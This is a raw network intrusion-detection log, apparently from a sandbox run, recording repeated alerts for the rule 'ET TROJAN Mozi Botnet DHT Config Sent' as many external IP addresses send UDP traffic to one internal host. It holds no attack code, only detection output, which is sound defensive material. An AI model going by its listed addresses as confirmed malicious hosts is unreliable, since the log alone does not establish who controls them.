178.72.77.19192.168.2.334980234812030919 08/23/23-09:17:49.112352	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	34980	23481	178.72.77.19	192.168.2.3
1.10.212.35192.168.2.319333234812030919 08/23/23-09:17:48.854812	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19333	23481	1.10.212.35	192.168.2.3
178.141.64.234192.168.2.38082234812030919 08/23/23-09:18:19.059348	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8082	23481	178.141.64.234	192.168.2.3
59.88.234.18192.168.2.354459234812030919 08/23/23-09:18:21.659618	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	54459	23481	59.88.234.18	192.168.2.3
178.72.69.37192.168.2.315916234812030919 08/23/23-09:18:32.149463	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	15916	23481	178.72.69.37	192.168.2.3
178.72.76.167192.168.2.315537234812030919 08/23/23-09:16:42.040868	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	15537	23481	178.72.76.167	192.168.2.3
178.72.78.206192.168.2.313775234812030919 08/23/23-09:17:36.414589	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	13775	23481	178.72.78.206	192.168.2.3
178.72.77.156192.168.2.318575234812030919 08/23/23-09:18:35.157981	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	18575	23481	178.72.77.156	192.168.2.3
178.72.78.241192.168.2.33084234812030919 08/23/23-09:17:24.596710	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	3084	23481	178.72.78.241	192.168.2.3
178.72.77.142192.168.2.318586234812030919 08/23/23-09:16:58.115756	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	18586	23481	178.72.77.142	192.168.2.3
178.72.76.8192.168.2.35158234812030919 08/23/23-09:18:32.295506	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	5158	23481	178.72.76.8	192.168.2.3
178.72.75.26192.168.2.321633234812030919 08/23/23-09:15:05.025409	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	21633	23481	178.72.75.26	192.168.2.3
178.72.78.80192.168.2.335240234812030919 08/23/23-09:18:32.292818	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	35240	23481	178.72.78.80	192.168.2.3
178.72.78.99192.168.2.32467234812030919 08/23/23-09:17:34.338275	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	2467	23481	178.72.78.99	192.168.2.3
178.72.70.232192.168.2.37218234812030919 08/23/23-09:18:31.205457	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	7218	23481	178.72.70.232	192.168.2.3
201.221.109.243192.168.2.330301234812030919 08/23/23-09:18:20.069214	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	30301	23481	201.221.109.243	192.168.2.3
178.72.81.178192.168.2.320807234812030919 08/23/23-09:17:03.427585	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	20807	23481	178.72.81.178	192.168.2.3
178.72.70.45192.168.2.317554234812030919 08/23/23-09:17:42.335532	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	17554	23481	178.72.70.45	192.168.2.3
1.10.212.35192.168.2.329557234812030919 08/23/23-09:18:33.163602	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	29557	23481	1.10.212.35	192.168.2.3
1.10.212.34192.168.2.339426234812030919 08/23/23-09:18:33.791588	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	39426	23481	1.10.212.34	192.168.2.3
82.166.125.72192.168.2.327529234812030919 08/23/23-09:18:39.522444	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	27529	23481	82.166.125.72	192.168.2.3
178.72.78.71192.168.2.311408234812030919 08/23/23-09:18:32.680295	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	11408	23481	178.72.78.71	192.168.2.3
178.72.71.128192.168.2.320719234812030919 08/23/23-09:18:34.468445	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	20719	23481	178.72.71.128	192.168.2.3
178.72.81.228192.168.2.35400234812030919 08/23/23-09:16:32.698366	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	5400	23481	178.72.81.228	192.168.2.3
178.72.81.103192.168.2.317776234812030919 08/23/23-09:18:23.766327	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	17776	23481	178.72.81.103	192.168.2.3
178.72.78.105192.168.2.326022234812030919 08/23/23-09:18:33.670200	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	26022	23481	178.72.78.105	192.168.2.3
178.72.75.210192.168.2.319520234812030919 08/23/23-09:18:32.295880	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19520	23481	178.72.75.210	192.168.2.3
178.72.69.22192.168.2.318433234812030919 08/23/23-09:18:34.539503	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	18433	23481	178.72.69.22	192.168.2.3
178.72.78.143192.168.2.37935234812030919 08/23/23-09:17:57.618680	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	7935	23481	178.72.78.143	192.168.2.3
178.72.70.231192.168.2.33347234812030919 08/23/23-09:17:45.736664	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	3347	23481	178.72.70.231	192.168.2.3
1.10.212.33192.168.2.325398234812030919 08/23/23-09:14:57.095857	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	25398	23481	1.10.212.33	192.168.2.3
178.72.70.8192.168.2.39387234812030919 08/23/23-09:18:00.516262	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	9387	23481	178.72.70.8	192.168.2.3
137.175.46.64192.168.2.36736234812030919 08/23/23-09:18:35.058549	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	6736	23481	137.175.46.64	192.168.2.3
95.24.160.127192.168.2.356171234812030919 08/23/23-09:14:48.725630	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	56171	23481	95.24.160.127	192.168.2.3
1.10.212.34192.168.2.354732234812030919 08/23/23-09:16:16.554561	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	54732	23481	1.10.212.34	192.168.2.3
95.24.8.38192.168.2.364918234812030919 08/23/23-09:17:28.492159	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	64918	23481	95.24.8.38	192.168.2.3
45.139.215.108192.168.2.324237234812030919 08/23/23-09:17:48.803927	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	24237	23481	45.139.215.108	192.168.2.3
178.72.75.118192.168.2.333814234812030919 08/23/23-09:16:58.241235	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	33814	23481	178.72.75.118	192.168.2.3
1.10.212.34192.168.2.337092234812030919 08/23/23-09:18:30.310043	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	37092	23481	1.10.212.34	192.168.2.3
178.72.70.253192.168.2.34187234812030919 08/23/23-09:16:14.895602	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	4187	23481	178.72.70.253	192.168.2.3
222.127.147.207192.168.2.330301234812030919 08/23/23-09:16:44.842248	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	30301	23481	222.127.147.207	192.168.2.3
178.72.68.88192.168.2.39637234812030919 08/23/23-09:16:37.465175	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	9637	23481	178.72.68.88	192.168.2.3
178.72.75.218192.168.2.314577234812030919 08/23/23-09:18:32.842057	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	14577	23481	178.72.75.218	192.168.2.3
178.72.76.65192.168.2.321043234812030919 08/23/23-09:15:57.833207	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	21043	23481	178.72.76.65	192.168.2.3
178.141.42.73192.168.2.39963234812030919 08/23/23-09:17:54.923120	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	9963	23481	178.141.42.73	192.168.2.3
178.72.81.87192.168.2.32581234812030919 08/23/23-09:18:34.466533	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	2581	23481	178.72.81.87	192.168.2.3
178.72.71.146192.168.2.37616234812030919 08/23/23-09:18:25.706517	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	7616	23481	178.72.71.146	192.168.2.3
170.51.110.12192.168.2.332283234812030919 08/23/23-09:17:07.949998	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	32283	23481	170.51.110.12	192.168.2.3
61.1.224.68192.168.2.311211234812030919 08/23/23-09:15:59.485505	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	11211	23481	61.1.224.68	192.168.2.3
170.51.110.63192.168.2.319870234812030919 08/23/23-09:18:34.203729	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19870	23481	170.51.110.63	192.168.2.3
170.51.110.13192.168.2.334045234812030919 08/23/23-09:18:34.159470	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	34045	23481	170.51.110.13	192.168.2.3
1.10.212.37192.168.2.359772234812030919 08/23/23-09:18:30.311064	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	59772	23481	1.10.212.37	192.168.2.3
178.72.76.252192.168.2.326022234812030919 08/23/23-09:17:05.996947	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	26022	23481	178.72.76.252	192.168.2.3
178.72.70.15192.168.2.329108234812030919 08/23/23-09:17:39.804073	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	29108	23481	178.72.70.15	192.168.2.3
178.72.68.111192.168.2.31441234812030919 08/23/23-09:18:33.928782	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	1441	23481	178.72.68.111	192.168.2.3
178.72.70.142192.168.2.323558234812030919 08/23/23-09:18:34.466291	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	23558	23481	178.72.70.142	192.168.2.3
95.24.8.217192.168.2.320014234812030919 08/23/23-09:16:53.551585	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	20014	23481	95.24.8.217	192.168.2.3
178.141.40.140192.168.2.35060234812030919 08/23/23-09:15:04.989259	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	5060	23481	178.141.40.140	192.168.2.3
95.24.5.169192.168.2.320145234812030919 08/23/23-09:17:22.726254	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	20145	23481	95.24.5.169	192.168.2.3
45.139.215.95192.168.2.333489234812030919 08/23/23-09:18:34.621248	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	33489	23481	45.139.215.95	192.168.2.3
178.141.128.86192.168.2.330301234812030919 08/23/23-09:18:31.875248	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	30301	23481	178.141.128.86	192.168.2.3
178.72.75.36192.168.2.336103234812030919 08/23/23-09:18:34.466105	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	36103	23481	178.72.75.36	192.168.2.3
178.72.81.46192.168.2.316977234812030919 08/23/23-09:17:52.265319	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	16977	23481	178.72.81.46	192.168.2.3
1.10.212.37192.168.2.357828234812030919 08/23/23-09:18:35.032605	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	57828	23481	1.10.212.37	192.168.2.3
178.72.77.26192.168.2.316939234812030919 08/23/23-09:18:03.516295	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	16939	23481	178.72.77.26	192.168.2.3
178.141.79.117192.168.2.31434234812030919 08/23/23-09:18:32.555741	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	1434	23481	178.141.79.117	192.168.2.3
178.72.78.47192.168.2.316475234812030919 08/23/23-09:18:09.979865	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	16475	23481	178.72.78.47	192.168.2.3
198.16.58.241192.168.2.321668234812030919 08/23/23-09:18:27.961134	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	21668	23481	198.16.58.241	192.168.2.3
3.250.120.13192.168.2.38083234812030919 08/23/23-09:18:30.360804	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8083	23481	3.250.120.13	192.168.2.3
1.10.212.36192.168.2.348245234812030919 08/23/23-09:18:35.533928	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	48245	23481	1.10.212.36	192.168.2.3
178.72.69.7192.168.2.319707234812030919 08/23/23-09:18:34.468521	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19707	23481	178.72.69.7	192.168.2.3
178.72.76.222192.168.2.322834234812030919 08/23/23-09:16:02.365056	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	22834	23481	178.72.76.222	192.168.2.3
178.72.81.88192.168.2.37320234812030919 08/23/23-09:17:08.107686	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	7320	23481	178.72.81.88	192.168.2.3
125.224.5.29192.168.2.318503234812030919 08/23/23-09:18:20.346103	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	18503	23481	125.224.5.29	192.168.2.3
178.141.78.54192.168.2.33967234812030919 08/23/23-09:18:17.844664	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	3967	23481	178.141.78.54	192.168.2.3
178.141.148.150192.168.2.311211234812030919 08/23/23-09:18:32.321325	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	11211	23481	178.141.148.150	192.168.2.3
178.72.78.109192.168.2.313467234812030919 08/23/23-09:15:38.600401	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	13467	23481	178.72.78.109	192.168.2.3
178.72.70.190192.168.2.38620234812030919 08/23/23-09:16:31.601010	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8620	23481	178.72.70.190	192.168.2.3
201.221.109.208192.168.2.362566234812030919 08/23/23-09:17:54.091926	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	62566	23481	201.221.109.208	192.168.2.3
178.72.77.176192.168.2.312438234812030919 08/23/23-09:17:54.870552	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	12438	23481	178.72.77.176	192.168.2.3
178.141.5.235192.168.2.38082234812030919 08/23/23-09:17:25.720285	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8082	23481	178.141.5.235	192.168.2.3
200.69.62.147192.168.2.38083234812030919 08/23/23-09:18:34.880944	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8083	23481	200.69.62.147	192.168.2.3
213.230.71.159192.168.2.319458234812030919 08/23/23-09:18:01.656470	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19458	23481	213.230.71.159	192.168.2.3
148.66.134.158192.168.2.317192234812030919 08/23/23-09:18:34.879259	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	17192	23481	148.66.134.158	192.168.2.3
178.72.76.222192.168.2.319710234812030919 08/23/23-09:15:45.295704	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19710	23481	178.72.76.222	192.168.2.3
178.72.76.211192.168.2.322528234812030919 08/23/23-09:18:14.490245	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	22528	23481	178.72.76.211	192.168.2.3
178.72.77.123192.168.2.37765234812030919 08/23/23-09:17:45.845939	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	7765	23481	178.72.77.123	192.168.2.3
1.10.212.34192.168.2.353693234812030919 08/23/23-09:18:34.553393	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	53693	23481	1.10.212.34	192.168.2.3
178.72.77.199192.168.2.318750234812030919 08/23/23-09:15:33.125873	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	18750	23481	178.72.77.199	192.168.2.3
1.10.212.35192.168.2.316526234812030919 08/23/23-09:18:33.135152	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	16526	23481	1.10.212.35	192.168.2.3
178.72.78.97192.168.2.38363234812030919 08/23/23-09:18:34.112519	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8363	23481	178.72.78.97	192.168.2.3
45.139.215.134192.168.2.326916234812030919 08/23/23-09:15:05.559704	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	26916	23481	45.139.215.134	192.168.2.3
178.72.71.3192.168.2.31024234812030919 08/23/23-09:17:37.817810	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	1024	23481	178.72.71.3	192.168.2.3
178.72.69.143192.168.2.319744234812030919 08/23/23-09:18:25.622514	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19744	23481	178.72.69.143	192.168.2.3
45.139.215.226192.168.2.331888234812030919 08/23/23-09:18:23.935603	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	31888	23481	45.139.215.226	192.168.2.3
45.139.215.134192.168.2.342576234812030919 08/23/23-09:16:57.905550	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	42576	23481	45.139.215.134	192.168.2.3
178.72.75.223192.168.2.38332234812030919 08/23/23-09:18:27.881126	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8332	23481	178.72.75.223	192.168.2.3
178.72.75.60192.168.2.319822234812030919 08/23/23-09:18:24.893052	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19822	23481	178.72.75.60	192.168.2.3
110.49.63.20192.168.2.35353234812030919 08/23/23-09:18:34.588479	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	5353	23481	110.49.63.20	192.168.2.3
1.10.212.34192.168.2.356162234812030919 08/23/23-09:18:35.983368	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	56162	23481	1.10.212.34	192.168.2.3
178.72.81.214192.168.2.321643234812030919 08/23/23-09:18:34.372447	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	21643	23481	178.72.81.214	192.168.2.3
178.72.81.60192.168.2.322541234812030919 08/23/23-09:18:26.790081	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	22541	23481	178.72.81.60	192.168.2.3
178.72.77.69192.168.2.33496234812030919 08/23/23-09:18:27.894376	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	3496	23481	178.72.77.69	192.168.2.3
1.10.212.38192.168.2.37885234812030919 08/23/23-09:18:32.908357	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	7885	23481	1.10.212.38	192.168.2.3
178.72.69.230192.168.2.39960234812030919 08/23/23-09:16:35.010483	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	9960	23481	178.72.69.230	192.168.2.3
178.72.77.166192.168.2.311546234812030919 08/23/23-09:17:51.444476	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	11546	23481	178.72.77.166	192.168.2.3
178.72.77.175192.168.2.323408234812030919 08/23/23-09:17:14.183699	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	23408	23481	178.72.77.175	192.168.2.3
122.155.0.70192.168.2.36881234812030919 08/23/23-09:18:39.539470	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	6881	23481	122.155.0.70	192.168.2.3
178.72.77.111192.168.2.327728234812030919 08/23/23-09:17:59.452748	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	27728	23481	178.72.77.111	192.168.2.3
178.72.71.227192.168.2.317651234812030919 08/23/23-09:16:00.948175	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	17651	23481	178.72.71.227	192.168.2.3
24.152.36.28192.168.2.38000234812030919 08/23/23-09:17:48.715356	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8000	23481	24.152.36.28	192.168.2.3
178.72.71.58192.168.2.319605234812030919 08/23/23-09:16:38.449444	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19605	23481	178.72.71.58	192.168.2.3
201.221.109.94192.168.2.314699234812030919 08/23/23-09:17:49.288409	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	14699	23481	201.221.109.94	192.168.2.3
95.24.1.160192.168.2.327527234812030919 08/23/23-09:16:43.192862	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	27527	23481	95.24.1.160	192.168.2.3
1.10.212.38192.168.2.35569234812030919 08/23/23-09:17:53.323268	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	5569	23481	1.10.212.38	192.168.2.3
95.24.11.123192.168.2.361505234812030919 08/23/23-09:16:11.692427	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	61505	23481	95.24.11.123	192.168.2.3
200.81.166.158192.168.2.342209234812030919 08/23/23-09:16:56.660817	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	42209	23481	200.81.166.158	192.168.2.3
178.72.78.141192.168.2.324978234812030919 08/23/23-09:16:51.569265	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	24978	23481	178.72.78.141	192.168.2.3
178.72.70.120192.168.2.332028234812030919 08/23/23-09:17:52.743451	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	32028	23481	178.72.70.120	192.168.2.3
201.221.109.6192.168.2.314393234812030919 08/23/23-09:18:06.709730	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	14393	23481	201.221.109.6	192.168.2.3
61.3.111.234192.168.2.38000234812030919 08/23/23-09:17:16.671934	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8000	23481	61.3.111.234	192.168.2.3
178.141.158.2192.168.2.38083234812030919 08/23/23-09:18:25.898328	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8083	23481	178.141.158.2	192.168.2.3
1.10.212.36192.168.2.330694234812030919 08/23/23-09:16:16.793885	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	30694	23481	1.10.212.36	192.168.2.3
178.72.78.142192.168.2.317544234812030919 08/23/23-09:18:20.413782	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	17544	23481	178.72.78.142	192.168.2.3
178.72.77.153192.168.2.317543234812030919 08/23/23-09:18:27.930192	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	17543	23481	178.72.77.153	192.168.2.3
178.72.68.189192.168.2.323973234812030919 08/23/23-09:18:01.620613	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	23973	23481	178.72.68.189	192.168.2.3
178.72.69.42192.168.2.311459234812030919 08/23/23-09:18:20.176253	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	11459	23481	178.72.69.42	192.168.2.3
178.72.70.138192.168.2.325992234812030919 08/23/23-09:18:25.472389	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	25992	23481	178.72.70.138	192.168.2.3
178.141.186.217192.168.2.34000234812030919 08/23/23-09:18:31.196407	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	4000	23481	178.141.186.217	192.168.2.3
178.72.78.30192.168.2.34449234812030919 08/23/23-09:18:27.881988	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	4449	23481	178.72.78.30	192.168.2.3
178.72.68.18192.168.2.319032234812030919 08/23/23-09:15:56.662970	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19032	23481	178.72.68.18	192.168.2.3
178.72.77.174192.168.2.319763234812030919 08/23/23-09:17:32.820315	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19763	23481	178.72.77.174	192.168.2.3
201.221.109.174192.168.2.362217234812030919 08/23/23-09:18:20.381648	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	62217	23481	201.221.109.174	192.168.2.3
45.119.84.144192.168.2.322755234812030919 08/23/23-09:18:27.347639	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	22755	23481	45.119.84.144	192.168.2.3
178.72.70.210192.168.2.35353234812030919 08/23/23-09:17:16.843859	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	5353	23481	178.72.70.210	192.168.2.3
1.10.212.33192.168.2.324583234812030919 08/23/23-09:18:33.449056	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	24583	23481	1.10.212.33	192.168.2.3
45.139.215.163192.168.2.320000234812030919 08/23/23-09:18:34.633612	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	20000	23481	45.139.215.163	192.168.2.3
1.10.212.38192.168.2.351059234812030919 08/23/23-09:18:27.413850	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	51059	23481	1.10.212.38	192.168.2.3
1.10.212.37192.168.2.322591234812030919 08/23/23-09:17:45.002955	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	22591	23481	1.10.212.37	192.168.2.3
178.72.77.46192.168.2.316805234812030919 08/23/23-09:16:56.454464	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	16805	23481	178.72.77.46	192.168.2.3
178.72.68.199192.168.2.37223234812030919 08/23/23-09:15:41.000451	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	7223	23481	178.72.68.199	192.168.2.3
178.72.78.163192.168.2.329242234812030919 08/23/23-09:15:44.212912	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	29242	23481	178.72.78.163	192.168.2.3
178.72.76.110192.168.2.32094234812030919 08/23/23-09:16:58.926803	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	2094	23481	178.72.76.110	192.168.2.3
178.72.77.62192.168.2.38625234812030919 08/23/23-09:18:34.616714	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8625	23481	178.72.77.62	192.168.2.3
178.72.77.139192.168.2.324755234812030919 08/23/23-09:18:34.466698	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	24755	23481	178.72.77.139	192.168.2.3
178.72.71.197192.168.2.312289234812030919 08/23/23-09:15:37.391323	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	12289	23481	178.72.71.197	192.168.2.3
178.72.70.72192.168.2.312568234812030919 08/23/23-09:17:34.292439	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	12568	23481	178.72.70.72	192.168.2.3
178.72.76.178192.168.2.319776234812030919 08/23/23-09:18:23.607516	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19776	23481	178.72.76.178	192.168.2.3
178.72.81.154192.168.2.329110234812030919 08/23/23-09:18:17.770813	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	29110	23481	178.72.81.154	192.168.2.3
178.72.69.142192.168.2.37207234812030919 08/23/23-09:18:24.920212	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	7207	23481	178.72.69.142	192.168.2.3
59.127.228.113192.168.2.34000234812030919 08/23/23-09:18:23.648904	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	4000	23481	59.127.228.113	192.168.2.3
178.72.68.45192.168.2.311558234812030919 08/23/23-09:16:12.681640	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	11558	23481	178.72.68.45	192.168.2.3
14.0.200.85192.168.2.311211234812030919 08/23/23-09:18:32.417205	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	11211	23481	14.0.200.85	192.168.2.3
1.10.212.37192.168.2.33261234812030919 08/23/23-09:15:45.741723	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	3261	23481	1.10.212.37	192.168.2.3
178.72.76.237192.168.2.36529234812030919 08/23/23-09:15:58.987491	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	6529	23481	178.72.76.237	192.168.2.3
1.10.212.35192.168.2.335615234812030919 08/23/23-09:17:39.053645	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	35615	23481	1.10.212.35	192.168.2.3
95.24.4.104192.168.2.362351234812030919 08/23/23-09:15:05.295286	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	62351	23481	95.24.4.104	192.168.2.3
178.72.69.120192.168.2.319478234812030919 08/23/23-09:18:22.390281	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	19478	23481	178.72.69.120	192.168.2.3
178.141.203.66192.168.2.330301234812030919 08/23/23-09:18:25.858518	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	30301	23481	178.141.203.66	192.168.2.3
178.72.78.254192.168.2.325740234812030919 08/23/23-09:18:33.375719	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	25740	23481	178.72.78.254	192.168.2.3
178.72.71.109192.168.2.326819234812030919 08/23/23-09:17:28.250058	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	26819	23481	178.72.71.109	192.168.2.3
178.72.71.41192.168.2.325615234812030919 08/23/23-09:17:26.853895	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	25615	23481	178.72.71.41	192.168.2.3
178.72.78.163192.168.2.326785234812030919 08/23/23-09:18:32.697014	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	26785	23481	178.72.78.163	192.168.2.3
1.10.212.36192.168.2.347432234812030919 08/23/23-09:18:34.400222	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	47432	23481	1.10.212.36	192.168.2.3
95.24.1.68192.168.2.38340234812030919 08/23/23-09:16:21.975711	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	8340	23481	95.24.1.68	192.168.2.3
1.10.212.35192.168.2.360528234812030919 08/23/23-09:18:34.063187	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	60528	23481	1.10.212.35	192.168.2.3
178.72.81.115192.168.2.36016234812030919 08/23/23-09:18:11.610944	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	6016	23481	178.72.81.115	192.168.2.3
178.72.81.47192.168.2.328229234812030919 08/23/23-09:18:31.205054	UDP	2030919	ET TROJAN Mozi Botnet DHT Config Sent	28229	23481	178.72.81.47	192.168.2.3
